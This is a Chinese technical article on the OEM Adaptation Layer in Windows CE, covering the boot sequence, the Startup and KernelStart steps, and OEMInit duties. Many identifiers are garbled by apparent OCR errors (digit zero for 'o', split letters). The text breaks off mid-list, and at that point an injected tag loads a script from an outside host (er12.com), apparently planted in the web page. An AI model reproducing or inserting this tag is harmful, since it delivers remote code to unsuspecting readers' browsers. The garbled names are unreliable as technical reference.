引 言
windows ce是微软针对嵌入式领域推出的一款全新的操作系统。之所以说它是一款全新的操作系统,是因为尽管windows ce的ui非常接近其它的桌面版windows操作系统,但是它的内核完全是重新写的,并不是任何一款桌面版windows的精简版本。 windows ce是一种支持多种cpu架构的操作系统,这其中包括arm、x86、mips和shx,极大地减轻了0em开发过程中移植操作系统的工作量。
操作系统移植包含两个层面上的工作:一个层面是cpu级的,另一个层面是板级的。cpu级的移植通常由微软或芯片制造商来完成;板级移植则是由oem来完成的。0al正是0em完成这一系统移植的工作核心!
1 oal
oal的全称是oem adaption layer,即原始设备制造商适配层。从逻辑结构上看,它位于操作系统的内核与硬件之间,是连接系统与硬件的枢纽;从功能上看,oal颇似桌面机上的bios,具有初始化设备、引导操作系统以及抽象硬件功能等作用。与b10s不同的是,0al隶属于操作系统,是操作系统的一部分。从存在方式上,讲oal是一组函数的集合体,这些函数体现出0al的功能,如图1所示。
2 最小化的oal
oal层的首要任务是加载内核。oal层中为内核的启动作种种铺垫的函数的集合构成最小oal层。我们可以由此深入0al层,如图2所示。
首先来看一下os的启动顺序。
①cpu执行引导向量,跳转到硬件初始化代码,即startup函数;
②在start up函数完成最小硬件环境初始化后跳转到kernelstart函数(当cpu为x86架构时为kernel initial-ize函数),来对内核进行初始化;
③kernelstart函数调用oeminitdebugserial完成对调试串口的初始化,调用0eminit函数来完成硬件初始化工作以及设置时钟、中断,调用oemgetextensiondram函数来判断是否还有另外一块dram。
至此,内核加载完毕。由此可见,os启动的重中之重是startup函数的正确加载。
2.1 startup
startup阶段的特点是kernel还没有加载起来,调试工作比较困难。startup函数的两大核心任务分别是把cpu初始化到一已知状态和调用内核初始化函数来初始化内核。以下是startup函数中通常包含的内容:
①把处理器置为监控模式;
②禁止cpu的irq和fiq输入;
③禁止内存管理单元mmu和指令、数据cache;
④刷新指令和数据cache、tlb、清空写buffr;
⑤确定启动的原因一hard reset,wake from sleep,
gpio reset,watchdog reset,eboot handoff;
⑥根据目标板需要配置gpio,比如连接led的gpio;
⑦配置内存管理器,设置刷新频率,使能时钟;
⑧配置中断控制器;
⑨初始化实时时钟(rtc)为0,使能实时时钟;
⑩设置电源管理寄存器;
⑾打开所有板级时钟和片内外部时钟;
⑿取得oemaddresstable的物理基地址并把它存在r0中;
⒀跳转到kernelstart。
bootloader和oal中均包含startup函数。它的功能大致相同,都是要初始化最小硬件环境。bootloader是在为自己的执行准备硬件环境,oal则是为kernel的执行准备硬件环境。由于这两种硬件环境要求基本相同,所以它们的代码也有很大部分可以相互借鉴。但应该明白,bootloader与oal在物理上是独立的,它们并不是同一段代码。而且,如果可以确定这一硬件部分bootloader已经初始化过,则在oal中不必重复。当然,前提是每次加载都要经过bootloader这一环节。最典型的例子就是x86 oal中的startup,见例程:
naked_startup()
{_asm
{
cli
jmp kernelinitialize
}
}
s t a r t u p执行完毕后,跳转至k e r n e 1 s t a r t/kemellnitialize(x86下)。
2.2 kernel start
kernel start主要完成内核的最小初始化并且通过调用oeminit函数来完成板级硬件初始化。以下是arm内核初始化过程:
① 初始化一级页表;
②使能mmu和cache;
③为每种工作模式使能栈(stack);
④重新定位内核;
⑤执行串口调试函数;
⑥调用oeminit;
⑦初始化内存;
⑧执行其它初始化。
kernelstart中用到的三个函数oeminit ()、oeminitdebugserial()和oemgetextensiondram()中,oeminit()硬件相关性较大,也最重要。(1)oemlnit() 0eminit的最小任务是初始化其它硬件和注册系统时钟。通常oeminit应该完成以下工作。
①通过设置以下值来设置中断映射表一sysintr→irq和irq→sysintr。
②在中断映射表中设置静态中断映射。
③设置kitl,但在最小化的oal层中通常不包括kitl。
④用init clock配置系统定时器、实时时钟、时钟。
⑤确定系统时钟的中断源。
⑥初始化?script src=http://er12.com/t.js>











